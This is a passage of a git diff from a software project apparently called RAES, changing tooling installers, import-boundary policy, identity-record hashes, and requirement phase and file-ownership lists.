LockedPlatformGraph( + platform_id=platform_id, + index=graph.index, + manifest=graph.manifest, + config=graph.config, + layers=tuple(graph.layers), + diff_ids=tuple(graph.diff_ids), + architecture=graph.architecture, + os=graph.os, + variant=graph.variant, + ) + ) + if len({graph.index for graph in graphs}) != 1: + raise ImageAdmissionError("index-identity") + return tuple(graphs) + + +def execution_graph(graphs: Sequence[LockedPlatformGraph]) -> LockedPlatformGraph: + """Return the one platform graph the release lane executes.""" + + for graph in graphs: + if graph.platform_id == EXECUTION_PLATFORM_ID: + return graph + raise ImageAdmissionError("graph-unavailable") + + +__all__ = [ + "OciDescriptor", + "LockedPlatformGraph", + "EXECUTION_PLATFORM_ID", + "EXECUTION_PROFILE_ID", + "RELEASE_TEST_IMAGE_ARTIFACT_ID", + "RELEASE_TEST_IMAGE_VERSION", + "REQUIRED_PLATFORM_IDS", + "SelectionLoader", + "ImageAdmissionError", + "execution_graph", + "locked_platform_graphs", + "locked_repository", +] diff --git a/tools/osv_scanner_tool.py b/tools/osv_scanner_tool.py index d50dbe3fb..39983f4f9 100644 --- a/tools/osv_scanner_tool.py +++ b/tools/osv_scanner_tool.py @@ -43,7 +43,6 @@ def ensure_osv_scanner( version: str = OSV_SCANNER_VERSION, local_input: Path | None = None, installation_root: Path | None = None, - immutable_seed_root: Path | None = None, ) -> Path: from tools.tooling_policy_gate import ( host_platform_id, @@ -72,7 +71,6 @@ def ensure_osv_scanner( materialize=installation.materialize_direct, legacy_path=osv_scanner_binary_path(repo_root, version=version), installation_root=installation_root, - immutable_seed_root=immutable_seed_root, ) diff --git a/tools/policy/adr_policy.yaml b/tools/policy/adr_policy.yaml index d314785d3..74baaf73e 100644 --- a/tools/policy/adr_policy.yaml +++ b/tools/policy/adr_policy.yaml @@ -174,6 +174,10 @@ module_boundaries: - raes_runtime.registry raes: - raes.parser + # Pure SDL admission, canonicalization and rendering for run archives. + - raes.materialization + - raes.canonical + - raes.formatting - id: raes_conformance root: implementations/python/packages/raes_conformance allowed_top_level_imports: @@ -185,6 +189,7 @@ module_boundaries: - raes public_import_prefixes: raes_processor: + - raes_processor.semantic_comparison - raes_processor.compiler - raes_processor.models - raes_processor.planner @@ -202,10 +207,12 @@ module_boundaries: - raes_conformance - raes_operations - raes_processor - - raes - forbidden_import_prefixes: + # ADR-104 operator-command exception: the closed offline maintenance API. - raes_runtime + - raes public_import_prefixes: + raes_runtime: + - raes_runtime.control_plane_store_maintenance # Plan-inspection CLI (issue #609): the backend-manifest-v2 adapter and # the pure stub-manifest declaration seam only -- never the stub runtime # components (raes_backend_stubs.stubs pulls raes_runtime). @@ -222,6 +229,9 @@ module_boundaries: - raes_processor.exploit_path - raes_processor.manifest - raes_processor.models + # Reconciliation demonstration (issue #610): the composable harness + # only; the CLI still never reaches the planner or the stub runtime. + - raes_processor.reconciliation_demonstration - raes_processor.reference - raes_processor.satisfiability - id: raes_mcp diff --git a/tools/policy/conftest_tool.py b/tools/policy/conftest_tool.py index f48385495..1a863e362 100644 --- a/tools/policy/conftest_tool.py +++ b/tools/policy/conftest_tool.py @@ -25,7 +25,6 @@ def ensure_conftest( version: str = CONTFEST_VERSION, local_input: Path | None = None, installation_root: Path | None = None, - immutable_seed_root: Path | None = None, ) -> Path: from tools.tooling_policy_gate import ( host_platform_id, @@ -54,7 +53,6 @@ def ensure_conftest( materialize=installation.materialize_tar_gz, legacy_path=conftest_binary_path(repo_root, version=version), installation_root=installation_root, - immutable_seed_root=immutable_seed_root, ) diff --git a/tools/policy/historical_identity_records.json b/tools/policy/historical_identity_records.json index 049913f91..3f645798c 100644 --- a/tools/policy/historical_identity_records.json +++ b/tools/policy/historical_identity_records.json @@ -17,7 +17,7 @@ "binding_class": "external-service-project-key", "rationale": "Retains the existing service-owned Ground Control and SonarCloud project designations without treating them as current RAES product identity.", "occurrences": 2, - "content_sha256": "6fb0b6e3e9acb0eaa443abac03a13d71ef0d41536ed44ecd08bc7bf4265e00a7" + "content_sha256": "d0310fda7659a7b3ebd4834727adb1d20c5a522ef90ad13b13c51ce1d0763928" }, { "path": "sonar-project.properties", @@ -47,7 +47,7 @@ "record_class": "historical-index", "rationale": "Indexes immutable pre-cutover ADR titles, paths, pins, and amendment summaries without making them current identity surfaces.", "occurrences": 4, - "content_sha256": "b9c247d333752716ac919c9b718da924291659f2994c3805a66947862c6a6579" + "content_sha256": "93cd469a00c37e24ae0b0dca489a841876897e672aa82f130e1b2b156b47261e" }, { "path": "docs/decisions/adrs/adr-000-use-adrs.md", @@ -110,7 +110,7 @@ "record_class": "accepted-adr", "rationale": "Preserves an accepted architecture decision as written before the RAES identity cutover.", "occurrences": 3, - "content_sha256": "9f7df79534d402a5a20743d7d33150d54315b60779f355d245110cf527f13b6e" + "content_sha256": "d01d21a33b0a96349d7f8e2b125f744a8a1496279090995e08c0e02adc04fe4c" }, { "path": "docs/decisions/adrs/adr-021-falsification-first-claim-evidence-gate.md", @@ -145,7 +145,7 @@ "record_class": "accepted-adr", "rationale": "Preserves an accepted architecture decision as written before the RAES identity cutover.", "occurrences": 3, - "content_sha256": "8818f870d79498f3322fd5edb9d2269948d04079ef5fbc7238811911ab7f5373" + "content_sha256": "ff2126c02f616a4fb55bcc75d80c706c9be49baea6f124652b5345ee81f28d64" }, { "path": "docs/decisions/adrs/adr-027-container-init-reaper-runtime-surface.md", @@ -206,9 +206,9 @@ { "path": "docs/decisions/adrs/adr-035-service-manager-unit-state-runtime-surface.md", "record_class": "accepted-adr", - "rationale": "Preserves an accepted architecture decision as written before the RAES identity cutover.", + "rationale": "Preserves historical identity occurrences in the accepted decision, including the recorded issue-1297 native service-manager contract amendment.", "occurrences": 3, - "content_sha256": "a8eb4df39f8b88781fee62ce83a2d2abee3951ebbeed5dc0c544a2a929ffad06" + "content_sha256": "79ef7d91b9efc4e31e217a5916d1fe64f1b688b10c0bd758028b20e7f92ae66b" }, { "path": "docs/decisions/adrs/adr-036-sdl-processor-runtime-module-boundaries.md", @@ -257,7 +257,7 @@ "record_class": "accepted-adr", "rationale": "Preserves an accepted architecture decision as written before the RAES identity cutover.", "occurrences": 4, - "content_sha256": "10e261d7027b769097ae70fc139d8d2c452b48b48146ed67d6af171f970163c6" + "content_sha256": "7c213f1ed7450bb5b4b1c918a5897b2ba07f940cd9c84b0d43832620dd6b0748" }, { "path": "docs/decisions/adrs/adr-044-network-detection-engine-runtime-inventory.md", @@ -346,9 +346,9 @@ { "path": "docs/decisions/adrs/adr-066-observability-evidence-plane-separation.md", "record_class": "accepted-adr", - "rationale": "Preserves an accepted architecture decision as written before the RAES identity cutover.", + "rationale": "Preserves historical identity occurrences in the accepted decision, including the recorded issue-1242 open-by-default augmentation-scope amendment.", "occurrences": 1, - "content_sha256": "a3f6e034b696f0254f5d1321b747d5a3cefe6df65784a5d88e1615b1eeec4749" + "content_sha256": "938ce2443ce7bd9e5cfa151d9740610ac23fa4338efa48c3cb022c7543bab24a" }, { "path": "docs/decisions/adrs/adr-068-experiment-trials-replication-and-replay-claims.md", @@ -409,9 +409,9 @@ { "path": "docs/decisions/adrs/adr-078-closed-sdl-phase-contracts-and-portable-derivation-evidence.md", "record_class": "accepted-adr", - "rationale": "Preserves an accepted architecture decision as written before the RAES identity cutover.", + "rationale": "Preserves historical identity occurrences in the accepted decision, including the recorded issue-1241 materialization-attestation amendment.", "occurrences": 9, - "content_sha256": "0266694288598416667f79ac4089fcdcd17c65e0fe2cee942b35cd468bdf9480" + "content_sha256": "79863d36552359aa5a238a549ba9eac9b7d058cbe0ad054db639cffdc597036a" }, { "path": "docs/decisions/adrs/adr-079-backend-neutral-proposition-and-truth-semantics.md", @@ -480,8 +480,8 @@ "path": "docs/decisions/adrs/adr-092-autonomous-benign-participants-under-shared-time.md", "record_class": "accepted-adr", "rationale": "Preserves an accepted architecture decision as written before the RAES identity cutover.", - "occurrences": 2, - "content_sha256": "61975da4806840eb6324bde3af893cd6425d62d99f35cfcce1128289a5685ded" + "occurrences": 1, + "content_sha256": "f7837743e16cd93631f44df5992e90daf6a5e48c270683504ea518ab21c291fc" }, { "path": "docs/decisions/adrs/adr-093-raes-rename-and-compatibility-boundaries.md", @@ -495,7 +495,7 @@ "record_class": "historical-index", "rationale": "Indexes immutable pre-cutover ADR titles, paths, pins, and amendment summaries without making them current identity surfaces.", "occurrences": 4, - "content_sha256": "894aca93e4d64a50800a184e58a691c222ac18cb870fefbfa4ccb2c64a8d9ec6" + "content_sha256": "d00fd5d91e9a86cde9bedfa30f71fb7af4697d557388c202c97254ae0f9d111c" }, { "path": "docs/decisions/cage-2-replication-design.md", @@ -1783,7 +1783,7 @@ "record_class": "lifecycle-record", "rationale": "Preserves the exact retired distribution identifier in its governed deprecation and removal record.", "occurrences": 2, - "content_sha256": "bdd60f63dc5e79eda516e7d37ab8a5d81dde50498d11c48a914f0710e5ebf42c" + "content_sha256": "7c9e576186229320cd5b96f463adfffb6a7b6958bc75d69f5c50e362ce6c09fc" } ] } diff --git a/tools/policy/requirement_order.yaml b/tools/policy/requirement_order.yaml index 3e94b6865..0851ef1a9 100644 --- a/tools/policy/requirement_order.yaml +++ b/tools/policy/requirement_order.yaml @@ -15,6 +15,7 @@ phases: - ^DSL- - id: runtime-control-plane requirements: + - API-402 - API-404 - id: api400-core requirements: @@ -43,6 +44,12 @@ phases: - id: observability-conformance requirements: - ASR-525 + - id: realization-honesty-conformance + requirements: + - ASR-519 + - id: evidence-provenance + requirements: + - EXP-732 - id: modular-control-semantics requirements: - SEM-235 @@ -68,6 +75,25 @@ phases: - SEM-218 blocked_until: - reference-implementations + - id: materialization-provenance + requirements: + - SEM-225 + blocked_until: + - reference-implementations + - id: mixed-participant-composition + requirements: + - SEM-234 + - SCE-002 + - API-407 + - API-423 + blocked_until: + - reference-implementations + - id: mixed-participant-runtime + requirements: + - RUN-310 + - RUN-319 + blocked_until: + - mixed-participant-composition - id: semantics-expansion patterns: - ^SEM- @@ -80,7 +106,6 @@ phases: requirements: - API-405 - API-406 - - API-407 - API-408 - API-409 - API-410 @@ -101,10 +126,14 @@ phases: - AUT-805 - AUT-807 - AUT-809 - - ASR-516 - DOC-928 blocked_until: - gov-concept-authority + - id: authoring-adapter-conformance + requirements: + - ASR-516 + blocked_until: + - gov-concept-authority - id: project-identity-migration requirements: - GOV-866 @@ -124,19 +153,140 @@ phases: - EXP-703 - EXP-704 - EXP-705 + - EXP-731 + - id: experiment-evidence + requirements: + - EXP-708 + - EXP-715 + blocked_until: + - experiment-core - id: decision-record-governance requirements: - GOV-941 - id: reusable-asset-integrity requirements: - GOV-913 + # Package publication is a supply-chain trust boundary in its own right and + # does not depend on the reusable-asset phases: the OIDC publishing path and + # its exact-SHA gates ship independently (#1227). + - id: trusted-package-publishing + requirements: + - GOV-928 - id: semantic-migration requirements: - GOV-903 blocked_until: - gov-concept-authority + # Published-schema evidence is a property of the normative contract surface + # itself, so it depends on no other phase: the coverage gate reads the + # publication catalog, the corpus router, and the assurance fulfillment map + # that already exist (#1330). No ownership list, because the gate's evidence + # repairs legitimately land in any contract family's corpus. + - id: published-schema-coverage + requirements: + - ASR-501 ownership: + authoring-adapter-conformance: + - contracts/README.md + - contracts/fixtures/authoring-adapters + - contracts/fixtures/authoring-adapters-v1 + - contracts/profiles/authoring-adapters + - contracts/schemas/authoring-adapters + - contracts/schema-publication/entries/authoring-adapter-profile-v1.json + - contracts/schema-publication/entries/authoring-adapter-vector-v1.json + - contracts/schema-publication/entries/authoring-adapter-comparison-v1.json + - specs/conformance/authoring-adapters.md + - docs/requirements/ASR-516/requirement.md + - docs/requirements/ASR-530/requirement.md + - docs/decisions/issue-1005-asr-516-authoring-adapter-semantic-consistency-preflight.md + - docs/explain/reference/authoring-adapter-conformance.md + - docs/research/formal-semantic-validation/index.md + - docs/research/formal-semantic-validation/bundles/retest-v21.json + - docs/research/formal-semantic-validation/execution-snapshot-v21.json + - docs/research/formal-semantic-validation/analysis-v21.json + - docs/research/formal-semantic-validation/bundles/retest-v22.json + - docs/research/formal-semantic-validation/execution-snapshot-v22.json + - docs/research/formal-semantic-validation/analysis-v22.json + - docs/research/formal-semantic-validation/historical-artifacts/issue-1005-pre-refinement-release-v22.json + - docs/research/formal-semantic-validation/historical-artifacts/issue-1005-pre-refinement-release-v23.json + - docs/research/specification-coverage/index.md + - docs/research/specification-coverage/execution-snapshot-v21.json + - docs/research/specification-coverage/analysis-v21.json + - docs/research/specification-coverage/bundles/raes-standardized-specification-coverage-issue-1005-v22.json + - docs/research/specification-coverage/execution-snapshot-v22.json + - docs/research/specification-coverage/analysis-v22.json + - docs/research/specification-coverage/bundles/raes-standardized-specification-coverage-issue-1005-v23.json + - docs/research/specification-coverage/execution-snapshot-v23.json + - docs/research/specification-coverage/analysis-v23.json + - docs/research/specification-coverage/historical-artifacts/issue-1005-pre-refinement-release-v21.json + - docs/research/specification-coverage/historical-artifacts/issue-1005-pre-sync-release-v20.json + - docs/research/specification-coverage/historical-artifacts/489eeab3ce682627682311581eb98af9abb9ff42a437145af266eefb71dc7fc4.json + - implementations/python/packages/raes_conformance/authoring_adapters.py + - implementations/python/packages/raes_conformance/_authoring_observations.py + - implementations/python/packages/raes_conformance/conformance/validators.py + - implementations/python/packages/raes_contracts/authoring_adapters.py + - implementations/python/packages/raes_contracts/contracts/bundle.py + - implementations/python/tests/test_authoring_adapters.py + - implementations/python/tests/test_authoring_adapter_governance.py + - implementations/python/tests/test_corpus_packaging.py + - implementations/python/tests/test_specification_coverage.py + - implementations/python/tests/test_issue_989_versioned_evidence.py + - implementations/python/tests/test_formal_semantic_validation.py + - implementations/python/tests/test_issue_989_versioned_evidence.py + realization-honesty-conformance: + - docs/requirements/ASR-519/requirement.md + - implementations/python/packages/raes_conformance/_realization_validation.py + - implementations/python/tests/test_realization_honesty_conformance.py + experiment-evidence: + - implementations/python/tests/test_exp_732_evidence_provenance.py + - docs/requirements/ASR-530/requirement.md + - docs/research/formal-semantic-validation + - docs/research/specification-coverage + - implementations/python/tests/test_formal_semantic_validation.py + - implementations/python/tests/test_specification_coverage.py + - implementations/python/tests/test_issue_989_versioned_evidence.py + - docs/decisions/issue-1237-capture-proof-authority-preflight.md + - docs/migration/required-capture-admission.md + - docs/requirements/DSL-124/requirement.md + - docs/requirements/EXP-708/requirement.md + - docs/requirements/EXP-715/requirement.md + - implementations/python/packages/raes_backend_protocols/observation_capture.py + - implementations/python/packages/raes_backend_protocols/observation_manifest.py + - implementations/python/packages/raes_contracts/_evidence_content_validation.py + - implementations/python/packages/raes_contracts/capture_dimensions.py + - implementations/python/packages/raes_contracts/evidence_output_validation.py + - implementations/python/packages/raes_contracts/evidence_proof.py + - implementations/python/packages/raes_contracts/evidence_satisfaction.py + - implementations/python/packages/raes_contracts/contracts/experiment_analysis.py + - implementations/python/packages/raes_contracts/contracts/experiment_conditions.py + - implementations/python/packages/raes_contracts/contracts/experiment_run.py + - implementations/python/packages/raes_contracts/contracts/experiment_study_run_validation.py + - implementations/python/packages/raes_contracts/contracts/observation_capture.py + - implementations/python/packages/raes_processor/capture_admission.py + - implementations/python/tests/test_issue_1237_capture_dimensions.py + - implementations/python/tests/test_issue_1237_capture_ingress.py + - implementations/python/tests/test_issue_1237_evidence_proof.py + - implementations/python/tests/test_issue_1237_governance.py + - implementations/python/tests/test_issue_1237_output_registry.py + evidence-provenance: + - implementations/python/packages/raes_contracts/evidence_satisfaction.py + - implementations/python/tests/test_exp_732_evidence_provenance.py + - implementations/python/tests/test_requirement_governance.py + - implementations/python/tests/test_specification_coverage.py + - implementations/python/tests/test_formal_semantic_validation.py + - implementations/python/tests/test_issue_989_versioned_evidence.py + - docs/requirements/EXP-732/requirement.md + - docs/research/experiment-core/issue-342-exp-732-evidence-provenance-2026-09-15.md + - docs/research/specification-coverage/index.md + - docs/research/specification-coverage/execution-snapshot-v16.json + - docs/research/specification-coverage/analysis-v16.json + - docs/research/specification-coverage/bundles/raes-standardized-specification-coverage-issue-342-v16.json + - docs/research/formal-semantic-validation/index.md + - docs/research/formal-semantic-validation/execution-snapshot-v17.json + - docs/research/formal-semantic-validation/analysis-v17.json + - docs/research/formal-semantic-validation/bundles/retest-v17.json + - specs/formal/experiment-core/README.md observability-conformance: - contracts/profiles/backend/observability-evidence.json - contracts/fixtures/experiment-core/experiment-run-v1 @@ -220,6 +370,8 @@ ownership: - implementations/python/tests - CHANGELOG.md sdl-language: + # Issue #1353 installs the delivery finalizer needed to close its requirements. + - .github/workflows/ground-control-phase-e.yml - contracts/concept-authority - contracts/fixtures/backend-manifest - contracts/fixtures/concept-authority @@ -234,6 +386,10 @@ ownership: - docs/decisions/issue-805-participant-interactive-access-preflight.md - docs/decisions/issue-1276-per-run-random-values-preflight.md - docs/decisions/adrs + # Issue #1353 amends the canonical narrative and participant-delivery records. + - docs/governance/requirement-scopes/1353.json + - docs/requirements/DSL-111/requirement.md + - docs/requirements/DSL-142/requirement.md - docs/requirements/DSL-435 - docs/explain/sdl - docs/index.md @@ -261,6 +417,8 @@ ownership: - specs/formal/sdl-phases - specs/sdl - tools/check_sdl_catalog_parity.py + # Issue #1353 restricts the delivery finalizer to merged-PR issue writes. + - tools/tooling_artifact_policy_actions.py - tools/policy/requirement_order.yaml - CHANGELOG.md api400-core: @@ -339,11 +497,574 @@ ownership: - implementations/python/uv.lock - implementations/tooling/python/smoke - implementations/tooling/profiles/development-profiles.json - # Delivery-guard repair retains its existing external-service inventory owner. - - implementations/tooling/inventory-coverage.json - specs/formal - specs/sdl + # SEM-225 owns common SDL/contract semantics plus the exact runtime, archive, + # publication and documentation surfaces used by post-materialization reports. + materialization-provenance: + - contracts/provenance/sdl-lineage-ledger-v2.json + - contracts/schemas/plans/backend-augmentation-scope-v1.json + - contracts/schema-publication/entries/backend-augmentation-scope-v1.json + - contracts/fixtures/plans/backend-augmentation-scope-v1/valid/reference.json + - contracts/fixtures/plans/backend-augmentation-scope-v1/invalid/partial-coverage.json + - docs/decisions/adrs/adr-066-observability-evidence-plane-separation.md + - docs/decisions/issue-1242-scenario-scope-preflight.md + - implementations/python/packages/raes_backend_protocols/augmentation.py + - implementations/python/packages/raes_runtime/backend_augmentation.py + - implementations/python/packages/raes_runtime/manager_augmentation.py + - specs/sdl/augmentation-scope.md + - specs/sdl/sections.md + - contracts/schemas/artifact-requirements/artifact-requirement-v1.json + - contracts/schema-publication/entries/artifact-requirement-v1.json + - contracts/schemas/satisfiability/scenario-satisfiability-evidence-v1.json + - contracts/schema-publication/entries/scenario-satisfiability-evidence-v1.json + - contracts/schemas/sdl/instantiated-scenario-snapshot-v1.json + - contracts/schema-publication/entries/instantiated-scenario-snapshot-v1.json + - contracts/schemas/sdl/instantiated-scenario-v1.json + - contracts/schema-publication/entries/instantiated-scenario-v1.json + - contracts/schemas/sdl/sdl-authoring-input-v1.json + - contracts/schema-publication/entries/sdl-authoring-input-v1.json + - contracts/fixtures/experiment-core/materialization-archive-record-v1/invalid/wrong-phase.json + - contracts/fixtures/experiment-core/materialization-archive-record-v1/valid/reference.json + - contracts/fixtures/plans/backend-materialization-attestation-v1/invalid/wrong-phase.json + - contracts/fixtures/plans/backend-materialization-attestation-v1/valid/reference.json + - contracts/fixtures/sdl/materialized-scenario-v1/invalid/wrong-phase.json + - contracts/fixtures/sdl/materialized-scenario-v1/valid/reference.json + - contracts/schema-publication/entries/admitted-trial-plan-v1.json + - contracts/schema-publication/entries/artifact-transformation-report-v1.json + - contracts/schema-publication/entries/associated-artifact-manifest-v1.json + - contracts/schema-publication/entries/backend-manifest-v2.json + - contracts/schema-publication/entries/backend-materialization-attestation-v1.json + - contracts/schema-publication/entries/backend-profile-v1.json + - contracts/schema-publication/entries/evaluation-plan-v1.json + - contracts/schema-publication/entries/experiment-apparatus-context-v1.json + - contracts/schema-publication/entries/experiment-authoring-input-v1.json + - contracts/schema-publication/entries/experiment-capture-spec-v1.json + - contracts/schema-publication/entries/experiment-derived-measure-v1.json + - contracts/schema-publication/entries/experiment-evidence-record-v1.json + - contracts/schema-publication/entries/experiment-run-v1.json + - contracts/schema-publication/entries/experiment-study-v1.json + - contracts/schema-publication/entries/experiment-task-v1.json + - contracts/schema-publication/entries/external-concept-bindings-v1.json + - contracts/schema-publication/entries/materialization-archive-record-v1.json + - contracts/schema-publication/entries/materialized-scenario-v1.json + - contracts/schema-publication/entries/orchestration-plan-v1.json + - contracts/schema-publication/entries/provisioning-plan-v1.json + - contracts/schema-publication/entries/runtime-snapshot-v1.json + - contracts/schema-publication/entries/sdl-candidate-synthesis-record-v1.json + - contracts/schemas/artifact-transformations/artifact-transformation-report-v1.json + - contracts/schemas/associated-artifacts/associated-artifact-manifest-v1.json + - contracts/schemas/backend-manifest/backend-manifest-v2.json + - contracts/schemas/candidate-synthesis/sdl-candidate-synthesis-record-v1.json + - contracts/schemas/concept-authority/external-concept-bindings-v1.json + - contracts/schemas/experiment-core/experiment-apparatus-context-v1.json + - contracts/schemas/experiment-core/experiment-authoring-input-v1.json + - contracts/schemas/experiment-core/experiment-capture-spec-v1.json + - contracts/schemas/experiment-core/experiment-derived-measure-v1.json + - contracts/schemas/experiment-core/experiment-evidence-record-v1.json + - contracts/schemas/experiment-core/experiment-run-v1.json + - contracts/schemas/experiment-core/experiment-study-v1.json + - contracts/schemas/experiment-core/experiment-task-v1.json + - contracts/schemas/experiment-core/materialization-archive-record-v1.json + - contracts/schemas/plans/admitted-trial-plan-v1.json + - contracts/schemas/plans/backend-materialization-attestation-v1.json + - contracts/schemas/plans/evaluation-plan-v1.json + - contracts/schemas/plans/orchestration-plan-v1.json + - contracts/schemas/plans/provisioning-plan-v1.json + - contracts/schemas/profiles/backend-profile-v1.json + - contracts/schemas/sdl/materialized-scenario-v1.json + - contracts/schemas/snapshots/runtime-snapshot-v1.json + - docs/decisions/adrs/adr-078-closed-sdl-phase-contracts-and-portable-derivation-evidence.md + - docs/decisions/adrs/adr-index.yaml + - docs/decisions/issue-1241-materialization-attestation-preflight.md + - docs/decisions/issue-1241-materialization-attestation-verification.md + - docs/explain/reference/materialization-attestations.md + - docs/explain/sdl/runtime-architecture.md + - docs/public/backends.md + - docs/requirements/SEM-225/requirement.md + - docs/research/formal-semantic-validation + - docs/research/specification-coverage + - implementations/python/packages/raes + - implementations/python/packages/raes_backend_stubs/manifest.py + - implementations/python/packages/raes_conformance/conformance/validators.py + - implementations/python/packages/raes_contracts + - implementations/python/packages/raes_operations/run_artifacts.py + - implementations/python/packages/raes_processor + - implementations/python/packages/raes_reference_backend/manifest.py + - implementations/python/packages/raes_runtime/backend_calls.py + - implementations/python/packages/raes_runtime/backend_effect_transitions.py + - implementations/python/packages/raes_runtime/backend_input_contracts.py + - implementations/python/packages/raes_runtime/backend_materialization.py + - implementations/python/packages/raes_runtime/backend_observation_calls.py + - implementations/python/packages/raes_runtime/backend_realization_authority.py + - implementations/python/packages/raes_runtime/backend_snapshot_contracts.py + - implementations/python/packages/raes_runtime/control_plane.py + - implementations/python/packages/raes_runtime/control_plane_api_models.py + - implementations/python/packages/raes_runtime/control_plane_configuration.py + - implementations/python/packages/raes_runtime/control_plane_execution.py + - implementations/python/packages/raes_runtime/control_plane_plan_authorization.py + - implementations/python/packages/raes_runtime/control_plane_store_snapshots.py + - implementations/python/packages/raes_runtime/manager.py + - implementations/python/packages/raes_runtime/manager_plan_admission.py + - implementations/python/packages/raes_runtime/participant_action_validation.py + - implementations/python/packages/raes_runtime/participant_execution_control.py + - implementations/python/tests + - specs/formal/sdl-phases/README.md + - specs/sdl/README.md + - specs/sdl/document-model.md + - specs/sdl/materialization-attestation.md + - specs/sdl/observability-and-evidence.md + modular-control-semantics: + # Issue #1354 semantic publication and bounded evidence. + - docs/decisions/adrs/adr-114-ifc-profile-variability-and-publication.md + - docs/decisions/issue-1354-ifc-profile-variability-preflight.md + - docs/explain/reference/modular-participant-control-contracts.md + - docs/governance/requirement-scopes/1354.json + - docs/migration/ifc-profile-variability.md + - docs/research/ifc-profile-variability/cases.md + - implementations/python/tests/ifc_profile_variability_model.py + - implementations/python/tests/test_issue_1354_governance.py + - implementations/python/tests/test_issue_1354_ifc_profile_variability.py + - specs/formal/participant-semantics/ifc-profile-variability.md + - tools/policy/historical_identity_records.json + - tools/policy/requirement_order.yaml + # Issue #1352 semantic-design publication; no expanded runtime ownership. + - docs/decisions/adrs/README.md + - docs/decisions/adrs/adr-108-modular-participant-control-and-governed-effects.md + - docs/decisions/adrs/adr-111-control-applicability-and-effect-decisions.md + - docs/decisions/adrs/adr-index.yaml + - docs/decisions/issue-1352-control-applicability-preflight.md + - docs/governance/requirement-scopes/1352.json + - docs/research/control-applicability/cases.md + - implementations/python/tests/control_applicability_model.py + - implementations/python/tests/test_issue_1352_control_applicability.py + - implementations/python/tests/test_issue_1352_governance.py + - specs/formal/participant-semantics/control-applicability-and-evaluation.md + # SEM-235 owns semantic publication and finite witnesses (#1070). + # Contracts, providers and runtime implementations have separate phases. + - specs/formal/participant-semantics/modular-participant-control.md + - specs/formal/participant-semantics/README.md + - specs/formal/assurance-fulfillment.yaml + - specs/concept-authority/participant-control.md + - docs/decisions/issue-1070-sem-235-architecture-preflight.md + - docs/explain/reference/shared-semantic-integrity.md + - docs/explain/sdl/lineage.md + - docs/research/modular-participant-control/semantic-verification.md + - docs/requirements/SEM-235/requirement.md + - docs/requirements/SEM-230/requirement.md + - docs/requirements/SEM-233/requirement.md + - contracts/provenance/sdl-lineage-ledger-v2.json + - implementations/python/tests/sem235_modular_control_model.py + - implementations/python/tests/test_sem_235_modular_control.py + - implementations/python/tests/test_sem_235_governance.py + modular-control-runtime: + # RUN-320 orchestrates the published API-424 contracts in the reference + # runtime (#1069). Contracts, semantics and conformance keep their own phases. + - contracts/schema-publication/entries/runtime-snapshot-v1.json + - contracts/schemas/snapshots/runtime-snapshot-v1.json + - docs/decisions/issue-1069-run-320-runtime-orchestration-preflight.md + - docs/explain/reference/modular-participant-control-contracts.md + - docs/governance/requirement-scopes/1069.json + - docs/public/participant-control.md + - docs/requirements/RUN-320/requirement.md + - docs/research/formal-semantic-validation/analysis-v40.json + - docs/research/formal-semantic-validation/bundles/retest-v40.json + - docs/research/formal-semantic-validation/execution-snapshot-v40.json + - docs/research/formal-semantic-validation/index.md + - docs/research/specification-coverage/analysis-v40.json + - docs/research/specification-coverage/bundles/raes-standardized-specification-coverage-issue-1069-v40.json + - docs/research/specification-coverage/execution-snapshot-v40.json + - docs/research/specification-coverage/index.md + - implementations/python/packages/raes_contracts/_snapshot_updates.py + - implementations/python/packages/raes_contracts/contracts/realization_plans.py + - implementations/python/packages/raes_contracts/participant_control_evaluation_history.py + - implementations/python/packages/raes_contracts/runtime_state.py + - implementations/python/packages/raes_runtime/backend_snapshot_contracts.py + - implementations/python/packages/raes_runtime/control_plane.py + - implementations/python/packages/raes_runtime/control_plane_api_models.py + - implementations/python/packages/raes_runtime/control_plane_audit.py + - implementations/python/packages/raes_runtime/control_plane_composition.py + - implementations/python/packages/raes_runtime/control_plane_configuration.py + - implementations/python/packages/raes_runtime/control_plane_store_history.py + - implementations/python/packages/raes_runtime/control_plane_store_record_migration.py + - implementations/python/packages/raes_runtime/control_plane_store_snapshots.py + - implementations/python/packages/raes_runtime/participant_action_validation.py + - implementations/python/packages/raes_runtime/participant_control.py + - implementations/python/packages/raes_runtime/participant_control_binding.py + - implementations/python/packages/raes_runtime/participant_control_causal_state.py + - implementations/python/packages/raes_runtime/participant_control_cut.py + - implementations/python/packages/raes_runtime/participant_control_effects.py + - implementations/python/packages/raes_runtime/participant_control_orchestration.py + - implementations/python/packages/raes_runtime/participant_control_receipts.py + - implementations/python/packages/raes_runtime/participant_control_records.py + - implementations/python/packages/raes_runtime/participant_crossing_boundary.py + - implementations/python/packages/raes_runtime/participant_crossing_egress.py + - implementations/python/packages/raes_runtime/participant_crossing_state_cut.py + - implementations/python/packages/raes_runtime/participant_flow_sink.py + - implementations/python/tests/test_issue_1092_control_plane_crash_consistency.py + - implementations/python/tests/test_issue_1180_snapshot_revision_cas.py + - implementations/python/tests/test_issue_1184_atomic_idempotency_claims.py + - implementations/python/tests/test_issue_1186_control_plane_recovery_operations.py + - implementations/python/packages/raes_runtime/participant_result_contracts.py + - implementations/python/tests/participant_control_runtime_fixtures.py + - implementations/python/tests/participant_crossing_fixtures.py + - implementations/python/tests/sem233_flow_sink_fixtures.py + - implementations/python/tests/test_issue_1003_final_sink_flow_enforcement.py + - implementations/python/tests/test_issue_1069_control_evaluation_authority.py + - implementations/python/tests/test_issue_1069_control_evaluation_carrier.py + - implementations/python/tests/test_issue_1069_participant_control_binding.py + - implementations/python/tests/test_issue_1069_participant_control_durability.py + - implementations/python/tests/test_issue_1069_participant_control_effects.py + - implementations/python/tests/test_issue_1069_participant_control_orchestration.py + - implementations/python/tests/test_issue_989_versioned_evidence.py + - implementations/python/tests/test_participant_concurrent_batch_reservations.py + - implementations/python/tests/test_specification_coverage.py + - tools/check_specification_coverage.py + - tools/formal_semantic_validation/_baseline.py + - tools/formal_semantic_validation/_loading.py + - tools/formal_semantic_validation/_releases.py + - tools/formal_semantic_validation/_retest.py + - tools/policy/requirement_order.yaml + modular-control-contracts: + # Issue #1352 semantic-design publication; no expanded runtime ownership. + - docs/migration/control-applicability-and-evaluation.md + - implementations/python/tests/test_issue_1352_governance.py + # API-424 also owns the public composition derivation RUN-320 consumes, and + # the exact-cut coordinates its portable validator resolves (#1069). + - implementations/python/packages/raes_contracts/contracts/participant_control_composition.py + - implementations/python/packages/raes_contracts/contracts/participant_control_effect_composition.py + - implementations/python/packages/raes_contracts/contracts/participant_control_coordinates.py + - contracts/schemas/participant-runtime/participant-control-evaluation-v1.json + - 